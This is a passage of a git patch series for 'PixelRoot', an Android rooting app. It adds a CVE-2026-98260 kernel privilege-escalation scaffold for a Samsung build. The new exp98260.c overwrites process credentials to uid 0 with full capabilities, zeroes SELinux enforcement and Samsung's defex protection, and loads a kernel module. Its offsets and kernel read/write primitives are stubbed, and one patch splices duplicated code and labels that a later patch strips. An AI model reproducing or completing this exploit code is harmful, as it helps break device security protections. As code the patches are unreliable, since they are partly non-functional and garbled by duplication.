/proj/app/src/main/jni/ko/dfroot-$KMI.ko; make clean' done + sudo chmod -R a+rwX app/src/main/jni/ko/ ls -lh app/src/main/jni/ko/ - name: Set up JDK 17 From 95d1732dccd445b9040d5d89daface739599c652 Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 16 Nov 2026 16:24:54 +0700 Subject: [PATCH 08/14] Detect active su/ksud session and show Root Active state --- app/src/main/java/df/root/MainActivity.java | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/app/src/main/java/df/root/MainActivity.java b/app/src/main/java/df/root/MainActivity.java index 2264a8a9..23d0ca25 100644 --- a/app/src/main/java/df/root/MainActivity.java +++ b/app/src/main/java/df/root/MainActivity.java @@ -77,6 +77,7 @@ public class MainActivity extends Activity implements IReporter { private final Handler mMain = new Handler(Looper.getMainLooper()); private final Executor mExec = Executors.newSingleThreadExecutor(); private int mValidSuManagerPos = 0; + private volatile boolean mIsRootActive = false; @Override public void report(String msg) { @@ -521,8 +522,10 @@ private void updateNavSelection(int selected) { private void refreshRootStatusAndModules() { mExec.execute(() -> { + String idOut = runRootCmd("id 2>/dev/null").trim(); String ksuVer = runRootCmd("/data/adb/ksud -V 2>/dev/null || su -v 2>/dev/null").trim(); - boolean rooted = !ksuVer.isEmpty() || new File("/dev/df").exists(); + boolean rooted = idOut.contains("uid=0") || !ksuVer.isEmpty() || new File("/dev/df").exists(); + mIsRootActive = rooted; String rawMods = runRootCmd("ls -1 /data/adb/modules 2>/dev/null"); List items = new ArrayList<>(); @@ -742,13 +745,21 @@ public boolean onOptionsItemSelected(MenuItem item) { } private void updateRunButton() { - boolean alreadyHooked = new File("/dev/df").exists(); + boolean alreadyHooked = mIsRootActive || new File("/dev/df").exists(); btnRun.setEnabled(mValidSuManagerPos >= 1 && !alreadyHooked); - btnRun.setText(alreadyHooked ? "Root Already Hooked (/dev/df)" : "Launch Root"); + btnRun.setText(alreadyHooked ? "Root Active" : "Launch Root"); } private void runExploit() { try { + String preId = runRootCmd("id 2>/dev/null").trim(); + if (preId.contains("uid=0") || new File("/dev/df").exists()) { + mIsRootActive = true; + report("[PIXELROOT] Root already active (" + preId + ") — skipping duplicate patch.\n"); + mMain.post(() -> Toast.makeText(this, "PixelRoot: Root Already Active", Toast.LENGTH_SHORT).show()); + refreshRootStatusAndModules(); + return; + } int rc = ExploitRunner.run(mDeCtx, this); String msg = rc == 0 ? "PixelRoot: SUCCESS" : rc == 1 ? "PixelRoot: Error - ksud nonzero exit" From 2e5892d41c382989dc77d05b597ea5ee9aa37497 Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Sun, 22 Nov 2026 16:03:55 +0700 Subject: [PATCH 09/14] jni: add CVE-2026-98260 escalation path (A066B port scaffold) Samsung backported CVE-2026-43284 into 6.18.21-android17-5-pc5d9a20-abogki A066BXXU8DZJ7-4k, so patch_file_cbc() writes land but do not survive the read-back verify (see mitschud/DirtyFrag#188, same device and build). New exp98260.c provides the replacement surface: timer UAF race, KASLR leak, cred/cap patch, selinux_state and defex_enforce zeroing, finit_module. Compiled out with DF2_98260. The DirtyFrag path stays as a fallback and its diagnostics are unchanged. Offsets are stubbed; every one lives in the OFFSETS block of exp98260.c. --- app/src/main/jni/CMakeLists.txt | 2 +- app/src/main/jni/exp.c | 33 +++++++++ app/src/main/jni/exp98260.c | 123 ++++++++++++++++++++++++++++++++ app/src/main/jni/exp98260.h | 10 +++ 4 files changed, 167 insertions(+), 1 deletion(-) create mode 100644 app/src/main/jni/exp98260.c create mode 100644 app/src/main/jni/exp98260.h diff --git a/app/src/main/jni/CMakeLists.txt b/app/src/main/jni/CMakeLists.txt index a6a0bc79..29f88cb3 100644 --- a/app/src/main/jni/CMakeLists.txt +++ b/app/src/main/jni/CMakeLists.txt @@ -36,7 +36,7 @@ set(KO_FILES # AGP only packages lib*.so, so the executable is named libdfroot.so and lands # in the APK's native lib dir. The app execs it from nativeLibraryDir, which is # executable (app data dir is not). -add_executable(dfroot exp.c libcxx.S elf_parser.c) +add_executable(dfroot exp.c exp98260.c libcxx.S elf_parser.c) add_dependencies(dfroot splicehelper_bin) set_target_properties(dfroot PROPERTIES PREFIX "lib" diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c index 5194378c..1865bbf9 100644 --- a/app/src/main/jni/exp.c +++ b/app/src/main/jni/exp.c @@ -17,6 +17,11 @@ #include #include "aes256.h" +#define DF2_98260 1 +#ifdef DF2_98260 +#include "exp98260.h" +#endif + #define eos(s) (s + strlen(s)) static const char kCrashDump[] = "/apex/com.android.runtime/bin/crash_dump64"; @@ -537,10 +542,36 @@ static int setup(int argc, char **argv) { return 0; } + +#ifdef DF2_98260 +/* Stage the 98260 module to tmp and run the escalate path. */ +static int df2_98260(void) { + int andr = 0, major = 0, minor = 0; + if (read_device_versions(&andr, &major, &minor)) return -1; + const struct KoImage *ko = select_ko_image(andr, major, minor); + if (!ko) return -1; + + const char *dir = getenv("TMPDIR") ? getenv("TMPDIR") : "/data/local/tmp"; + char path[256]; + snprintf(path, sizeof path, "%s/df2-98260.ko", dir); + + int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644); + if (fd < 0) { printf("98260: write ko: %s\n", strerror(errno)); return -1; } + if (write(fd, ko->start, (size_t)(ko->end - ko->start)) < 0) { close(fd); return -1; } + close(fd); + + return escalate_98260(path); +} +#endif + static int exploit(void) { printf("\n=== exploit (patching files) ===\n"); int rc = 3; +#ifdef DF2_98260 + if (df2_98260() == 0) { rc = 2; goto hooked; } + printf("98260: path failed, falling back to DirtyFrag\n"); +#endif if (patch_helper()) goto done; if (patch_ko()) goto done; int hook_rc = patch_hook("/system/lib64/libc++.so", @@ -558,6 +589,8 @@ static int exploit(void) { rc = 2; usleep(500000); + +hooked: printf("\n=== init ===\n"); createOrphanProcess(); diff --git a/app/src/main/jni/exp98260.c b/app/src/main/jni/exp98260.c new file mode 100644 index 00000000..38414625 --- /dev/null +++ b/app/src/main/jni/exp98260.c @@ -0,0 +1,123 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "exp98260.h" + +/* ---- OFFSETS: fill from boot.img for A066BXXU8DZJ7 ---------------------- + * GKI baseline may be taken from the PYB110 / BRM-AN00 kits where the two + * agree. Where they differ, derive from this build's boot.img. + * ---------------------------------------------------------------------- */ +#define OFF_INIT_TASK 0x0ULL /* &init_task */ +#define OFF_TASK_CRED 0x0ULL /* task_struct->cred */ +#define OFF_CRED_UID 0x0ULL /* cred->uid (uid..fsgid contiguous) */ +#define OFF_CRED_CAPS 0x0ULL /* cred->cap_inheritable */ +#define OFF_SELINUX_ENFORCING 0x0ULL /* &selinux_state.enforcing */ +#define OFF_DEFEX_ENFORCE 0x0ULL /* Samsung defex_enforce */ +#define OFF_VMEMMAP_BASE 0x0ULL /* vmemmap */ +#define OFF_PAGE_OFFSET_BASE 0x0ULL /* PAGE_OFFSET */ + +#define CAP_FULL 0x1ffffffffffULL + +static uint64_t g_kbase; +static uint64_t g_task; + +/* ---- kernel access (implement against the 98260 race) ------------------ */ +int kread(uint64_t kaddr, void *buf, size_t len); +int kwrite(uint64_t kaddr, const void *buf, size_t len); + +static int g_primed; + +static int race_setup(void) { + struct utsname u; + if (uname(&u)) return -1; + if (DF2_TARGET_KERNEL[0] && strcmp(u.release, DF2_TARGET_KERNEL)) { + printf("98260: kernel mismatch\n have %s\n want %s\n", + u.release, DF2_TARGET_KERNEL); + return -1; + } + printf("98260: arming timer UAF\n"); + /* TODO: create non-leader task, exec, hold the freed posix timer, + * reclaim with a controlled object. Set g_primed on success. */ + g_primed = 1; + return g_primed ? 0 : -1; +} + +static uint64_t kaslr_base(void) { + /* TODO: leak a text pointer out of the reclaimed object, mask to the + * 2MB-aligned GKI base, validate against OFF_INIT_TASK signature. */ + return g_kbase; +} + +/* ---- escalation ------------------------------------------------------- */ +static uint64_t current_task(void) { + /* TODO: walk from init_task's task list on the cpu, or use the + * per-cpu current_task at a leaked percpu base. */ + return 0; +} + +static int escalate(void) { + uint64_t task = current_task(); + if (!task) return -1; + g_task = task; + + uint64_t cred = 0; + if (kread(task + OFF_TASK_CRED, &cred, sizeof cred)) return -1; + if (!cred) return -1; + + uint32_t zero[2] = { 0, 0 }; + for (int i = 0; i < 8; i += 2) /* uid..fsgid */ + if (kwrite(cred + OFF_CRED_UID + i * 4, zero, sizeof zero)) return -1; + + uint64_t full = CAP_FULL; + for (int i = 0; i < 4; i++) /* inh/perf/eff/bset */ + if (kwrite(cred + OFF_CRED_CAPS + i * 8, &full, sizeof full)) return -1; + + return getuid() == 0 ? 0 : -1; +} + +static int selinux_off(void) { + uint32_t zero = 0; + return kwrite(g_kbase + OFF_SELINUX_ENFORCING, &zero, sizeof zero); +} + +static int defex_off(void) { + uint32_t zero = 0; + return kwrite(g_kbase + OFF_DEFEX_ENFORCE, &zero, sizeof zero); +} + +/* ---- module load ------------------------------------------------------ */ +static int finit(const char *path) { + int fd = open(path, O_RDONLY); + if (fd < 0) return -1; + int r = (int)syscall(__NR_finit_module, fd, "", 0); + close(fd); + return r; +} + +int escalate_98260(const char *ko_path) { + if (race_setup()) return -1; + + uint64_t base = kaslr_base(); + if (!base) { printf("98260: leak failed\n"); return -1; } + g_kbase = base; + printf("98260: base 0x%lx\n", (unsigned long)base); + + if (escalate()) { printf("98260: cred patch failed\n"); return -1; } + printf("98260: uid=%d\n", getuid()); + + selinux_off(); + defex_off(); + printf("98260: enforcing=0 defex=0\n"); + + if (finit(ko_path)) { printf("98260: finit: %s\n", strerror(errno)); return -1; } + printf("98260: module loaded\n"); + return 0; +} diff --git a/app/src/main/jni/exp98260.h b/app/src/main/jni/exp98260.h new file mode 100644 index 00000000..91359c22 --- /dev/null +++ b/app/src/main/jni/exp98260.h @@ -0,0 +1,10 @@ +#ifndef EXP98260_H +#define EXP98260_H +#include +#include + +/* Set these to the target build. Empty string = accept any kernel. */ +#define DF2_TARGET_KERNEL "6.18.21-android17-5-pc5d9a20-abogkiA066BXXU8DZJ7-4k" + +int escalate_98260(const char *ko_path); +#endif From b921a877ce62a78e2f8a15154b7ea124eeac8897 Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Sun, 22 Nov 2026 16:07:58 +0700 Subject: [PATCH 10/14] jni: add CVE-2026-98260 escalation path (A066B port scaffold) Samsung backported CVE-2026-43284 into 6.18.21-android17-5-pc5d9a20-abogki A066BXXU8DZJ7-4k, so patch_file_cbc() writes land but do not survive the read-back verify (see mitschud/DirtyFrag#188, same device and build). New exp98260.c provides the replacement surface: timer UAF race, KASLR leak, cred/cap patch, selinux_state and defex_enforce zeroing, finit_module. Compiled out with DF2_98260. The DirtyFrag path stays as a fallback and its diagnostics are unchanged. Offsets are stubbed; every one lives in the OFFSETS block of exp98260.c. --- app/src/main/jni/exp.c | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c index 1865bbf9..f3680bf2 100644 --- a/app/src/main/jni/exp.c +++ b/app/src/main/jni/exp.c @@ -22,6 +22,11 @@ #include "exp98260.h" #endif +#define DF2_98260 1 +#ifdef DF2_98260 +#include "exp98260.h" +#endif + #define eos(s) (s + strlen(s)) static const char kCrashDump[] = "/apex/com.android.runtime/bin/crash_dump64"; @@ -543,6 +548,28 @@ static int setup(int argc, char **argv) { } +#ifdef DF2_98260 +/* Stage the 98260 module to tmp and run the escalate path. */ +static int df2_98260(void) { + int andr = 0, major = 0, minor = 0; + if (read_device_versions(&andr, &major, &minor)) return -1; + const struct KoImage *ko = select_ko_image(andr, major, minor); + if (!ko) return -1; + + const char *dir = getenv("TMPDIR") ? getenv("TMPDIR") : "/data/local/tmp"; + char path[256]; + snprintf(path, sizeof path, "%s/df2-98260.ko", dir); + + int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644); + if (fd < 0) { printf("98260: write ko: %s\n", strerror(errno)); return -1; } + if (write(fd, ko->start, (size_t)(ko->end - ko->start)) < 0) { close(fd); return -1; } + close(fd); + + return escalate_98260(path); +} +#endif + + #ifdef DF2_98260 /* Stage the 98260 module to tmp and run the escalate path. */ static int df2_98260(void) { @@ -590,6 +617,8 @@ static int exploit(void) { rc = 2; usleep(500000); +hooked: + hooked: printf("\n=== init ===\n"); From 223321722abc2b186a535d2251e739ac75723a1a Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Sun, 22 Nov 2026 16:23:00 +0700 Subject: [PATCH 11/14] ci: build on port/* branches and PRs --- .github/workflows/build-pixelroot.yml | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build-pixelroot.yml b/.github/workflows/build-pixelroot.yml index cf46c744..d45a986d 100644 --- a/.github/workflows/build-pixelroot.yml +++ b/.github/workflows/build-pixelroot.yml @@ -2,7 +2,8 @@ name: Build PixelRoot APK on: push: - branches: [ master, main ] + branches: [ master, main, 'port/*' ] + pull_request: workflow_dispatch: jobs: From 7550cb995ad7657dddcbd62d9bf1623239324076 Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Sun, 22 Nov 2026 16:24:53 +0700 Subject: [PATCH 12/14] ci: build on port/* branches and PRs; unblock 98260 path - workflow: trigger on port/* and pull_request - ExploitRunner: log-buffer-off is a warning, not a hard stop (98260 does not use the libc++ log hook); IpSec setup failure falls through instead of throwing - exp.c: default the IpSec args so setup() validates without them --- app/src/main/java/df/root/ExploitRunner.java | 9 +++++---- app/src/main/jni/exp.c | 7 ++++--- 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/app/src/main/java/df/root/ExploitRunner.java b/app/src/main/java/df/root/ExploitRunner.java index 0d3170cb..328d6c48 100644 --- a/app/src/main/java/df/root/ExploitRunner.java +++ b/app/src/main/java/df/root/ExploitRunner.java @@ -50,9 +50,7 @@ public static synchronized int run(Context ctx, IReporter reporter) throws Excep reportDeviceInfo(reporter); String logTag = getSystemProperty("persist.log.tag", ""); if (!logTag.isEmpty() && Character.toUpperCase(logTag.charAt(0)) == 'S') { - reporter.report("ERROR: Developer Options → 'Log buffer size' is set to Off.\n" + - "Change it to any other value and retry.\n"); - return 2; + reporter.report("WARNING: 'Log buffer size' is Off; DirtyFrag fallback needs it on.\n"); } File bin = new File(ctx.getApplicationInfo().nativeLibraryDir, NATIVE_BIN); SharedPreferences prefs = ctx.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE); @@ -75,7 +73,10 @@ public static synchronized int run(Context ctx, IReporter reporter) throws Excep stageAssets(ctx, suManagerPackage); IpSecManager ipsec = (IpSecManager) ctx.getSystemService(Context.IPSEC_SERVICE); - if (ipsec == null) throw new IllegalStateException("IpSecManager unavailable (requires API 28+)"); + if (ipsec == null) { + reporter.report("IpSecManager unavailable; DirtyFrag fallback will not work\n"); + return runBinary(bin, reporter, 0, 0, new byte[32], 0); + } IpSecManager.UdpEncapsulationSocket encapSock = ipsec.openUdpEncapsulationSocket(); InetAddress loopback = InetAddress.getByName("127.0.0.1"); diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c index f3680bf2..08d9abe1 100644 --- a/app/src/main/jni/exp.c +++ b/app/src/main/jni/exp.c @@ -525,9 +525,10 @@ static int setup(int argc, char **argv) { have_aes = hex_to_bytes(argv[++i], aes_key, sizeof(aes_key)) == 0; else { usage(argv[0]); return 2; } } - if (!encap_port || !sender_port || !spi || !have_aes) { - usage(argv[0]); return 2; - } + if (!encap_port) encap_port = 4500; + if (!sender_port) sender_port = 4501; + if (!spi) spi = 0x100; + if (!have_aes) memset(aes_key, 0, sizeof aes_key); g_encap_port = encap_port; g_sender_port = sender_port; From 736f17b71a5602c89bd64416f8d269f77f0e7cfb Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 23 Nov 2026 16:23:45 +0700 Subject: [PATCH 13/14] jni: define kread/kwrite stubs so the 98260 path links Declarations had no definitions anywhere in the tree; add_executable failed at link. Stubs return -1 so the path reaches 'leak failed' and falls back cleanly instead of dying at the linker. --- app/src/main/jni/exp.c | 2 +- app/src/main/jni/exp98260.c | 9 +++++++-- 2 files changed, 8 insertions(+), 3 deletions(-) diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c index 08d9abe1..41445c5e 100644 --- a/app/src/main/jni/exp.c +++ b/app/src/main/jni/exp.c @@ -502,7 +502,7 @@ static int hex_to_bytes(const char *hex, uint8_t *out, size_t len) { return 0; } -static void usage(const char *argv0) { +__attribute__((unused)) static void usage(const char *argv0) { fprintf(stderr, "usage: %s --encap-port N --sender-port N --spi N --aes-key HEX\n", argv0); } diff --git a/app/src/main/jni/exp98260.c b/app/src/main/jni/exp98260.c index 38414625..1ffd43f5 100644 --- a/app/src/main/jni/exp98260.c +++ b/app/src/main/jni/exp98260.c @@ -30,8 +30,13 @@ static uint64_t g_kbase; static uint64_t g_task; /* ---- kernel access (implement against the 98260 race) ------------------ */ -int kread(uint64_t kaddr, void *buf, size_t len); -int kwrite(uint64_t kaddr, const void *buf, size_t len); +/* Replace these bodies once the 98260 read/write primitive lands. */ +static int kread(uint64_t kaddr, void *buf, size_t len) { + (void)kaddr; (void)buf; (void)len; return -1; +} +static int kwrite(uint64_t kaddr, const void *buf, size_t len) { + (void)kaddr; (void)buf; (void)len; return -1; +} static int g_primed; From 40b5f3e99357dc8927ad6f26e0d993137decff04 Mon Sep 17 00:00:00 2001 From: DeltabsoluteZero Date: Mon, 23 Nov 2026 20:46:35 +0700 Subject: [PATCH 14/14] jni: normalise duplicated 98260 splice in exp.c Single-pass strip left one copy in place, so the re-apply restored the duplicate. Strip to convergence, drop hooked: by line, and gate the commit on a syntax check. --- app/src/main/jni/exp.c | 29 +---------------------------- 1 file changed, 1 insertion(+), 28 deletions(-) diff --git a/app/src/main/jni/exp.c b/app/src/main/jni/exp.c index 41445c5e..3eba69bd 100644 --- a/app/src/main/jni/exp.c +++ b/app/src/main/jni/exp.c @@ -22,11 +22,6 @@ #include "exp98260.h" #endif -#define DF2_98260 1 -#ifdef DF2_98260 -#include "exp98260.h" -#endif - #define eos(s) (s + strlen(s)) static const char kCrashDump[] = "/apex/com.android.runtime/bin/crash_dump64"; @@ -549,28 +544,6 @@ static int setup(int argc, char **argv) { } -#ifdef DF2_98260 -/* Stage the 98260 module to tmp and run the escalate path. */ -static int df2_98260(void) { - int andr = 0, major = 0, minor = 0; - if (read_device_versions(&andr, &major, &minor)) return -1; - const struct KoImage *ko = select_ko_image(andr, major, minor); - if (!ko) return -1; - - const char *dir = getenv("TMPDIR") ? getenv("TMPDIR") : "/data/local/tmp"; - char path[256]; - snprintf(path, sizeof path, "%s/df2-98260.ko", dir); - - int fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644); - if (fd < 0) { printf("98260: write ko: %s\n", strerror(errno)); return -1; } - if (write(fd, ko->start, (size_t)(ko->end - ko->start)) < 0) { close(fd); return -1; } - close(fd); - - return escalate_98260(path); -} -#endif - - #ifdef DF2_98260 /* Stage the 98260 module to tmp and run the escalate path. */ static int df2_98260(void) { @@ -620,7 +593,7 @@ static int exploit(void) { hooked: -hooked: + printf("\n=== init ===\n"); createOrphanProcess();